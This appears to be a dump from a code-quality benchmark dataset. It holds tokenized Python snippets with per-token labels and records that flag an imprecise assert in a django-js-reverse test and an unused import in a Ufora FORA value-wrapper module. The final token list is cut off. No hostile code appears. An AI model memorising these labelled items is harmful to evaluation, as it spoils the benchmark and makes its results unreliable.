"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"create_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"create",
"\\u",
"data_",
"(_",
"2_",
",_",
"\"",
"testi",
"ng",
" ",
"the",
" ",
"data",
" ",
"field",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Plug",
"in",
"Data_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"serialization_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"import_",
"vist",
"rail",
"s_",
"._",
"core_",
"._",
"db_",
"._",
"io_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"p",
"\\u",
"data1_",
"=_",
"self_",
"._",
"create",
"\\u",
"data_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xml",
"\\u",
"str_",
"=_",
"vist",
"rail",
"s_",
"._",
"core_",
"._",
"db_",
"._",
"io_",
"._",
"serialize_",
"(_",
"p",
"\\u",
"data1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"p",
"\\u",
"data2_",
"=_",
"vist",
"rail",
"s_",
"._",
"core_",
"._",
"db_",
"._",
"io_",
"._",
"unse",
"rial",
"ize_",
"(_",
"xml",
"\\u",
"str_",
",_",
"Plug",
"in",
"Data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"p",
"\\u",
"data1_",
",_",
"p",
"\\u",
"data2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"p",
"\\u",
"data1_",
"._",
"id_",
",_",
"p",
"\\u",
"data2_",
"._",
"id_",
")_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Imprecise assert | ierror/django-js-reverse/tests/unit_tests.py | [
{
"content": " def test_minification(self):\n js_not_minified = smart_str(self.client.post('/jsreverse/').content)\n with override_settings(JS_REVERSE_JS_MINIFY=True):\n js_minified = smart_str(self.client.post('/jsreverse/').content)\n self.assertTrue(len(js_minified) < len(js_not_minified))",
"metadata": "root.JSReverseViewTestCaseNotMinified.test_minification",
"header": "['class', 'JSReverseViewTestCaseNotMinified', '(', 'JSReverseViewTestCaseMinified', ')', ':', '___EOS___']",
"index": 183
}
]
| [
{
"span": "self.assertTrue(len(js_minified) < len(js_not_minified))",
"start_line": 187,
"start_column": 12,
"end_line": 187,
"end_column": 68
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"JS",
"Revers",
"e",
"View",
"Test",
"Case",
"Not",
"Mini",
"fied",
"_",
"(_",
"JS",
"Revers",
"e",
"View",
"Test",
"Case",
"Mini",
"fied",
"_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"test\\u",
"minif",
"ication",
"_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"js",
"\\u",
"not",
"\\u",
"minif",
"ied_",
"=_",
"smart",
"\\u",
"str_",
"(_",
"self_",
"._",
"client_",
"._",
"post_",
"(_",
"'/",
"js",
"reverse",
"/'_",
")_",
"._",
"content_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"with_",
"override",
"\\u",
"settings_",
"(_",
"JS",
"\\u",
"REVERSE",
"\\u",
"JS",
"\\u",
"MINI",
"FY",
"_",
"=_",
"True_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"js",
"\\u",
"minif",
"ied_",
"=_",
"smart",
"\\u",
"str_",
"(_",
"self_",
"._",
"client_",
"._",
"post_",
"(_",
"'/",
"js",
"reverse",
"/'_",
")_",
"._",
"content_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"len_",
"(_",
"js",
"\\u",
"minif",
"ied_",
")_",
"<_",
"len_",
"(_",
"js",
"\\u",
"not",
"\\u",
"minif",
"ied_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2
]
|
Unused import | ufora/ufora/ufora/FORA/python/ForaValue.py | [
{
"content": "# Copyright 2015 Ufora Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport ufora.native.FORA as ForaNative\nimport ufora.FORA.python.Evaluator.Evaluator as Evaluator\nimport ufora.FORA.python.ErrorFormatting as ErrorFormatting\n\nimport ufora.util.TypeAwareComparison as TypeAwareComparison\n\nimport traceback\n\n\n\n\nFORAValue.MutableVector = FORAValue.makeSymbol(\"MutableVector\")\nFORAValue.Vector = FORAValue.makeSymbol(\"Vector\")\nFORAValue.Type = FORAValue.makeSymbol(\"TypeJOV\")\nFORAValue.symbol_GetItem = FORAValue.makeSymbol(\"GetItem\")\nFORAValue.symbol_SetItem = FORAValue.makeSymbol(\"SetItem\")\nFORAValue.symbol_SetItemNoconvert = FORAValue.makeSymbol(\"SetItemNoconvert\")\nFORAValue.symbol_Operator = FORAValue.makeSymbol(\"Operator\")\nFORAValue.symbol_Member = FORAValue.makeSymbol(\"Member\")\nFORAValue.symbol_Size = FORAValue.makeSymbol(\"size\")\nFORAValue.symbol_Call = FORAValue.makeSymbol(\"Call\")\nFORAValue.symbol_Next = FORAValue.makeSymbol(\"Next\")\nFORAValue.symbol_package = FORAValue.makeSymbol(\"package\")\nFORAValue.symbol_ExtractMetadata = FORAValue.makeSymbol(\"ExtractMetadata\")\nFORAValue.symbol_ShortRepresentation = FORAValue.makeSymbol(\"ShortRepresentation\")\n\nnothing = FORAValue(ForaNative.nothing)\n\nStackTrace = FORAValue(ForaNative.StackTrace)\nString = FORAValue(ForaNative.String)\n\n\n\n\n\n\n\n\n\n\n\nForaOperatorLambdas = {\n ForaOperatorSymbols.plus:\t(lambda x,y: x+y),\n ForaOperatorSymbols.sub:\t(lambda x,y: x-y),\n ForaOperatorSymbols.mul:\t(lambda x,y: x*y),\n ForaOperatorSymbols.div:\t(lambda x,y: x/y),\n ForaOperatorSymbols.mod:\t(lambda x,y: x%y),\n ForaOperatorSymbols.pow:\t(lambda x,y: x**y),\n ForaOperatorSymbols.lshift:\t(lambda x,y: x<<y),\n ForaOperatorSymbols.rshift:\t(lambda x,y: x>>y),\n ForaOperatorSymbols.lt:\t(lambda x,y: x<y),\n ForaOperatorSymbols.gt:\t(lambda x,y: x>y),\n ForaOperatorSymbols.le:\t(lambda x,y: x<=y),\n ForaOperatorSymbols.ge:\t(lambda x,y: x>=y),\n ForaOperatorSymbols.eq:\t(lambda x,y: x==y),\n ForaOperatorSymbols.ne:\t(lambda x,y: x!=y)\n }\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "def evaluator():\n return Evaluator.evaluator()",
"metadata": "root.evaluator",
"header": "['module', '___EOS___']",
"index": 22
},
{
"content": "class FORAFailure(Exception):\n \"\"\"a wrapper around a FORA failure\n \"\"\"\n",
"metadata": "root.FORAFailure",
"header": "['module', '___EOS___']",
"index": 25
},
{
"content": " def __init__(self, error):\n self.error = error",
"metadata": "root.FORAFailure.__init__",
"header": "['class', 'FORAFailure', '(', 'Exception', ')', ':', '___EOS___']",
"index": 28
},
{
"content": " def __str__(self):\n return \"ForaFailure(%s)\" % self.error",
"metadata": "root.FORAFailure.__str__",
"header": "['class', 'FORAFailure', '(', 'Exception', ')', ':', '___EOS___']",
"index": 31
},
{
"content": "class FORAValue(object):\n \"\"\"a wrapper around a FORA value\n\n you may interact with this object as if it were a regular python object.\n methods will be offloaded to the FORA runtime itself.\n \"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",
"metadata": "root.FORAValue",
"header": "['module', '___EOS___']",
"index": 34
},
{
"content": " def __init__(self, x = None):\n object.__init__(self)\n if x is None:\n self.implVal_ = ForaNative.nothing\n elif isinstance(x, FORAValue):\n self.implVal_ = x.implVal_\n elif isinstance(x, ForaNative.ImplValContainer):\n self.implVal_ = x\n elif isinstance(x, tuple):\n self.implVal_ = ForaNative.ImplValContainer(\n tuple([FORAValue(elt).implVal_ for elt in x])\n )\n else:\n #this will attempt to convert numerics\n #and will otherwise represent the value as a python object\n self.implVal_ = ForaNative.ImplValContainer(x)",
"metadata": "root.FORAValue.__init__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 40
},
{
"content": " def __getattr__(self, attr):\n if attr.startswith('__') and attr.endswith('__'):\n raise AttributeError() # we don't want to intercept special python methods\n\n return processComputationResult(\n Evaluator.evaluator().evaluate(\n self.implVal_,\n FORAValue.symbol_Member.implVal_,\n ForaNative.makeSymbol(attr)\n )\n )",
"metadata": "root.FORAValue.__getattr__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 57
},
{
"content": " def __call__(self, *args):\n return processComputationResult(\n Evaluator.evaluator().evaluate(\n self.implVal_,\n FORAValue.symbol_Call.implVal_,\n *[FORAValue(x).implVal_ for x in args]\n )\n )",
"metadata": "root.FORAValue.__call__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 69
},
{
"content": " def __getitem__(self, x):\n return processComputationResult(\n Evaluator.evaluator().evaluate(\n self.implVal_,\n FORAValue.symbol_GetItem.implVal_,\n FORAValue(x).implVal_\n )\n )",
"metadata": "root.FORAValue.__getitem__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 78
},
{
"content": " def __setitem__(self, ix, x):\n return processComputationResult(\n Evaluator.evaluator().evaluate(\n self.implVal_,\n FORAValue.symbol_SetItem.implVal_,\n FORAValue(ix).implVal_,\n FORAValue(x).implVal_\n )\n )",
"metadata": "root.FORAValue.__setitem__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 87
},
{
"content": " def __len__(self):\n return processComputationResult(\n Evaluator.evaluator().evaluate(\n FORAValue.symbol_Size.implVal_,\n FORAValue.symbol_Call.implVal_,\n self.implVal_\n )\n )",
"metadata": "root.FORAValue.__len__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 97
},
{
"content": " def __add__(self, other):\n return binaryOp_(self, FORAValue(other), ForaOperatorSymbols.plus)",
"metadata": "root.FORAValue.__add__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 106
},
{
"content": " def __radd__(self, other):\n return binaryOp_(FORAValue(other), self, ForaOperatorSymbols.plus)",
"metadata": "root.FORAValue.__radd__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 109
},
{
"content": " def __sub__(self, other):\n return binaryOp_(self, FORAValue(other), ForaOperatorSymbols.sub)",
"metadata": "root.FORAValue.__sub__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 112
},
{
"content": " def __rsub__(self, other):\n return binaryOp_(FORAValue(other), self, ForaOperatorSymbols.sub)",
"metadata": "root.FORAValue.__rsub__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 115
},
{
"content": " def __mul__(self, other):\n return binaryOp_(self, FORAValue(other), ForaOperatorSymbols.mul)",
"metadata": "root.FORAValue.__mul__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 118
},
{
"content": " def __rmul__(self, other):\n return binaryOp_(FORAValue(other), self, ForaOperatorSymbols.mul)",
"metadata": "root.FORAValue.__rmul__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 121
},
{
"content": " def __div__(self, other):\n return binaryOp_(self, FORAValue(other), ForaOperatorSymbols.div)",
"metadata": "root.FORAValue.__div__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 124
},
{
"content": " def __rdiv__(self, other):\n return binaryOp_(FORAValue(other), self, ForaOperatorSymbols.div)",
"metadata": "root.FORAValue.__rdiv__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 127
},
{
"content": " def __mod__(self, other):\n return binaryOp_(self, FORAValue(other), ForaOperatorSymbols.mod)",
"metadata": "root.FORAValue.__mod__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 130
},
{
"content": " def __rmod__(self, other):\n return binaryOp_(FORAValue(other), self, ForaOperatorSymbols.mod)",
"metadata": "root.FORAValue.__rmod__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 133
},
{
"content": " def __pow__(self, other):\n return binaryOp_(self, FORAValue(other), ForaOperatorSymbols.pow)",
"metadata": "root.FORAValue.__pow__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 136
},
{
"content": " def __rpow__(self, other):\n return binaryOp_(FORAValue(other), self, ForaOperatorSymbols.pow)",
"metadata": "root.FORAValue.__rpow__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 139
},
{
"content": " def __lshift__(self, other):\n return binaryOp_(self, FORAValue(other), ForaOperatorSymbols.lshift)",
"metadata": "root.FORAValue.__lshift__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 142
},
{
"content": " def __rlshift__(self, other):\n return binaryOp_(FORAValue(other), self, ForaOperatorSymbols.lshift)",
"metadata": "root.FORAValue.__rlshift__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 145
},
{
"content": " def __rshift__(self, other):\n return binaryOp_(self, FORAValue(other), ForaOperatorSymbols.rshift)",
"metadata": "root.FORAValue.__rshift__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 148
},
{
"content": " def __rrshift__(self, other):\n return binaryOp_(FORAValue(other), self, ForaOperatorSymbols.rshift)",
"metadata": "root.FORAValue.__rrshift__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 151
},
{
"content": " def __cmp__(self, other):\n return TypeAwareComparison.typecmp(self, other,\n lambda self, other : cmp(self.implVal_, other.implVal_))",
"metadata": "root.FORAValue.__cmp__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 154
},
{
"content": " def __hash__(self):\n return self.implVal_.__hash__()",
"metadata": "root.FORAValue.__hash__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 158
},
{
"content": " def __str__(self):\n x = self\n ix = 0\n while isinstance(x, FORAValue) and x.implVal_.type != String.implVal_:\n ix = ix + 1\n x = String(x)\n if (ix > 50):\n print x.implVal_.type, String, x.implVal_.type != String.implVal_\n assert ix < 100, \"can't convert \" + repr(self) + \" to a string\"\n\n if isinstance(x, FORAValue):\n stringVal = x.implVal_.getPythonString()\n if stringVal is None:\n #it's an unloaded string\n x = str(x)\n else:\n x = stringVal\n elif not isinstance(x, str):\n return str(x)\n\n return x",
"metadata": "root.FORAValue.__str__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 161
},
{
"content": " def __repr__(self):\n return str(self.implVal_)",
"metadata": "root.FORAValue.__repr__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 183
},
{
"content": " def __coerce__(self, other):\n return None",
"metadata": "root.FORAValue.__coerce__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 186
},
{
"content": " def __getstate__(self):\n return (self.implVal_,)",
"metadata": "root.FORAValue.__getstate__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 189
},
{
"content": " def __setstate__(self, s):\n self.implVal_ = s[0]",
"metadata": "root.FORAValue.__setstate__",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 192
},
{
"content": " def type(self):\n \"\"\"return the Type object of a FORAValue\"\"\"\n return FORAValue(self.implVal_.type)",
"metadata": "root.FORAValue.type",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 195
},
{
"content": " def toPythonObject(self):\n \"\"\"Find the best equivalent python object held within this FORAValue.\n\n In particular, convert any FORAValue which is itself a PythonObject, a\n string, a tuple, a float, or an int\"\"\"\n\n implval = self.implVal_\n assert isinstance(implval, ForaNative.ImplValContainer)\n\n if implval.isTuple():\n names = implval.getTupleNames()\n for n in names:\n if n is not None:\n return FORATuple(implval)\n return tuple([FORAValue(x).toPythonObject() for x in implval.getTuple()])\n\n if implval.isVector():\n return FORAVector(implval)\n\n if implval.isMutableVector():\n return FORAMutableVector(implval)\n\n if cmp(implval.type, ForaNative.Nothing) == 0:\n return None\n\n if cmp(implval.type, ForaNative.UInt1) == 0:\n return implval.pyval\n\n if cmp(implval.type, ForaNative.Int64) == 0:\n return implval.pyval\n\n if cmp(implval.type, ForaNative.Float64) == 0:\n return implval.pyval\n\n if cmp(implval.type, ForaNative.String) == 0:\n return implval.pyval\n\n return FORAValue(implval)",
"metadata": "root.FORAValue.toPythonObject",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 199
},
{
"content": " @staticmethod\n def makeSymbol(symbolString):\n \"\"\"return a FORAValue containing a symbol\"\"\"\n return FORAValue(ForaNative.makeSymbol(symbolString))",
"metadata": "root.FORAValue.makeSymbol",
"header": "['class', 'FORAValue', '(', 'object', ')', ':', '___EOS___']",
"index": 238
},
{
"content": "class FORATuple(FORAValue):\n\n\n names_ = property(lambda self: self.implVal_.getTupleNames())\n\n",
"metadata": "root.FORATuple",
"header": "['module', '___EOS___']",
"index": 263
},
{
"content": " def __init__(self, implval):\n FORAValue.__init__(self, implval)",
"metadata": "root.FORATuple.__init__",
"header": "['class', 'FORATuple', '(', 'FORAValue', ')', ':', '___EOS___']",
"index": 264
},
{
"content": " def __getitem__(self, x):\n try:\n return FORAValue(self.implVal_[x]).toPythonObject()\n except:\n raise IndexError()",
"metadata": "root.FORATuple.__getitem__",
"header": "['class', 'FORATuple', '(', 'FORAValue', ')', ':', '___EOS___']",
"index": 267
},
{
"content": " @staticmethod\n def isTuple(t):\n return t.implVal_.isTuple()",
"metadata": "root.FORATuple.isTuple",
"header": "['class', 'FORATuple', '(', 'FORAValue', ')', ':', '___EOS___']",
"index": 275
},
{
"content": " @staticmethod\n def getNames(t):\n return t.names_",
"metadata": "root.FORATuple.getNames",
"header": "['class', 'FORATuple', '(', 'FORAValue', ')', ':', '___EOS___']",
"index": 279
},
{
"content": "class FORAVector(FORAValue):\n",
"metadata": "root.FORAVector",
"header": "['module', '___EOS___']",
"index": 284
},
{
"content": " def __init__(self, implval):\n FORAValue.__init__(self, implval)",
"metadata": "root.FORAVector.__init__",
"header": "['class', 'FORAVector', '(', 'FORAValue', ')', ':', '___EOS___']",
"index": 285
},
{
"content": " def __getitem__(self, x):\n try:\n value = Evaluator.evaluator().getVDM().extractVectorItem(self.implVal_, x)\n\n if value is not None:\n return FORAValue(value).toPythonObject()\n else:\n return FORAValue.__getitem__(self, x)\n except:\n raise IndexError()",
"metadata": "root.FORAVector.__getitem__",
"header": "['class', 'FORAVector', '(', 'FORAValue', ')', ':', '___EOS___']",
"index": 288
},
{
"content": "class FORAMutableVector(FORAValue):\n",
"metadata": "root.FORAMutableVector",
"header": "['module', '___EOS___']",
"index": 299
},
{
"content": " def __init__(self, implval):\n FORAValue.__init__(self, implval)",
"metadata": "root.FORAMutableVector.__init__",
"header": "['class', 'FORAMutableVector', '(', 'FORAValue', ')', ':', '___EOS___']",
"index": 300
},
{
"content": " def __getitem__(self, x):\n try:\n return FORAValue(self.implVal_[x]).toPythonObject()\n except:\n raise IndexError()",
"metadata": "root.FORAMutableVector.__getitem__",
"header": "['class', 'FORAMutableVector', '(', 'FORAValue', ')', ':', '___EOS___']",
"index": 303
},
{
"content": "def extractImplValContainer(foraValue):\n \"\"\"the preferred way to get the implval out of a ForaValue.FORAValue object\"\"\"\n return foraValue.implVal_",
"metadata": "root.extractImplValContainer",
"header": "['module', '___EOS___']",
"index": 309
},
{
"content": "class FORAException(Exception):\n \"\"\"base class for all FORA exceptions\"\"\"\n\n\n",
"metadata": "root.FORAException",
"header": "['module', '___EOS___']",
"index": 313
},
{
"content": " def __init__(self, foraVal = None):\n Exception.__init__(self)\n if foraVal is None:\n self.foraVal = nothing\n self.trace = None\n self.valuesInScope = None\n else:\n if not isinstance(foraVal, tuple) or len(foraVal) != 2:\n assert False, \"Improperly formed FORA exception.\"\n\n stacktraceAndData = foraVal[1]\n # stacktraceAndData = (stacktrace, values in scope)\n\n if not isinstance(foraVal[1], tuple):\n stacktraceAndData = stacktraceAndData.toPythonObject()\n\n if not isinstance(stacktraceAndData, tuple) or len(stacktraceAndData) != 2:\n print stacktraceAndData, type(stacktraceAndData)\n assert False, \"Improperly formed FORA exception.\"\n\n if not (stacktraceAndData[0].type() == StackTrace):\n assert False, \"Improperly formed FORA exception.\"\n\n self.foraVal = foraVal[0]\n self.trace = stacktraceAndData[0].implVal_.getStackTrace() # Python list of codeLocations.\n self.valuesInScope = stacktraceAndData[1]",
"metadata": "root.FORAException.__init__",
"header": "['class', 'FORAException', '(', 'Exception', ')', ':', '___EOS___']",
"index": 315
},
{
"content": " def __str__(self):\n exceptionString = str(self.foraVal)\n if len(exceptionString) > 1000:\n exceptionString = exceptionString[:800] + exceptionString[-200:]\n\n return \"FORA Exception: \" + exceptionString + (\n \"\\n\\nTraceback:\\n\" +\n ErrorFormatting.formatStacktrace(self.trace, self.valuesInScope)\n if self.trace is not None\n else\n \" (<no stacktrace available>)\")",
"metadata": "root.FORAException.__str__",
"header": "['class', 'FORAException', '(', 'Exception', ')', ':', '___EOS___']",
"index": 342
},
{
"content": " def __cmp__(self, other):\n return TypeAwareComparison.typecmp(self, other,\n lambda self, other : cmp(self.foraVal, other.foraVal))",
"metadata": "root.FORAException.__cmp__",
"header": "['class', 'FORAException', '(', 'Exception', ')', ':', '___EOS___']",
"index": 354
},
{
"content": " def __getinitargs__(self):\n return (self.foraVal, self.trace)",
"metadata": "root.FORAException.__getinitargs__",
"header": "['class', 'FORAException', '(', 'Exception', ')', ':', '___EOS___']",
"index": 358
},
{
"content": "def processComputationResult(res):\n \"\"\"given a FORA.ComputationResult, return or throw the relevant FORAValue\n object. Attempt to convert it to a python object if possible.\"\"\"\n if res.isException():\n v = FORAValue(res.asException.exception).toPythonObject()\n\n if isinstance(v, Exception):\n raise v\n else:\n raise FORAException(v)\n if res.isFailure():\n raise FORAFailure(res.asFailure.error)\n return FORAValue(res.asResult.result).toPythonObject()",
"metadata": "root.processComputationResult",
"header": "['module', '___EOS___']",
"index": 362
},
{
"content": "def binaryOp_(lhs, rhs, op):\n \"\"\"given lhs, rhs, and op, which are all FORAValues, evaluate a binary\n operator call\"\"\"\n return processComputationResult(\n Evaluator.evaluator().evaluate(\n lhs.implVal_,\n FORAValue.symbol_Operator.implVal_,\n op.implVal_,\n rhs.implVal_\n )\n )",
"metadata": "root.binaryOp_",
"header": "['module', '___EOS___']",
"index": 376
},
{
"content": "class ForaOperatorSymbols(object):\n #internally used symbols\n plus = FORAValue.makeSymbol(\"+\")\n sub = FORAValue.makeSymbol(\"-\")\n mul = FORAValue.makeSymbol(\"*\")\n div = FORAValue.makeSymbol(\"/\")\n mod = FORAValue.makeSymbol(\"%\")\n pow = FORAValue.makeSymbol(\"**\")\n lshift = FORAValue.makeSymbol(\"<<\")\n rshift = FORAValue.makeSymbol(\">>\")\n lt = FORAValue.makeSymbol(\"<\")\n gt = FORAValue.makeSymbol(\">\")\n le = FORAValue.makeSymbol(\"<=\")\n ge = FORAValue.makeSymbol(\">=\")\n eq = FORAValue.makeSymbol(\"==\")\n ne = FORAValue.makeSymbol(\"!=\")",
"metadata": "root.ForaOperatorSymbols",
"header": "['module', '___EOS___']",
"index": 388
}
]
| [
{
"span": "import traceback",
"start_line": 20,
"start_column": 0,
"end_line": 20,
"end_column": 16
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
" ",
" ",
"Copy",
"right",
" ",
"201",
"5",
" ",
"Uf",
"ora",
" ",
"Inc",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"License",
"d",
" ",
"under",
" ",
"the",
" ",
"Ap",
"ache",
" ",
"License",
",",
" ",
"Version",
" ",
"2.0",
" ",
"(",
"the",
" ",
"\"",
"License",
"\");",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"you",
" ",
"may",
" ",
"not",
" ",
"use",
" ",
"this",
" ",
"file",
" ",
"except",
" ",
"in",
" ",
"compli",
"anc",
"e",
" ",
"with",
" ",
"the",
" ",
"License",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"You",
" ",
"may",
" ",
"obtain",
" ",
"a",
" ",
"copy",
" ",
"of",
" ",
"the",
" ",
"License",
" ",
"at_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"http",
"://",
"www",
".",
"apa",
"che",
".",
"org",
"/",
"license",
"s",
"/",
"LICENSE",
"-",
"2.0_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"Un",
"less",
" ",
"require",
"d",
" ",
"by",
" ",
"applica",
"ble",
" ",
"law",
" ",
"or",
" ",
"agree",
"d",
" ",
"to",
" ",
"in",
" ",
"writ",
"ing",
",",
" ",
"software",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"distributed",
" ",
"under",
" ",
"the",
" ",
"License",
" ",
"is",
" ",
"distributed",
" ",
"on",
" ",
"an",
" ",
"\"",
"AS",
" ",
"IS",
"\"",
" ",
"BAS",
"IS",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"WITH",
"OUT",
" ",
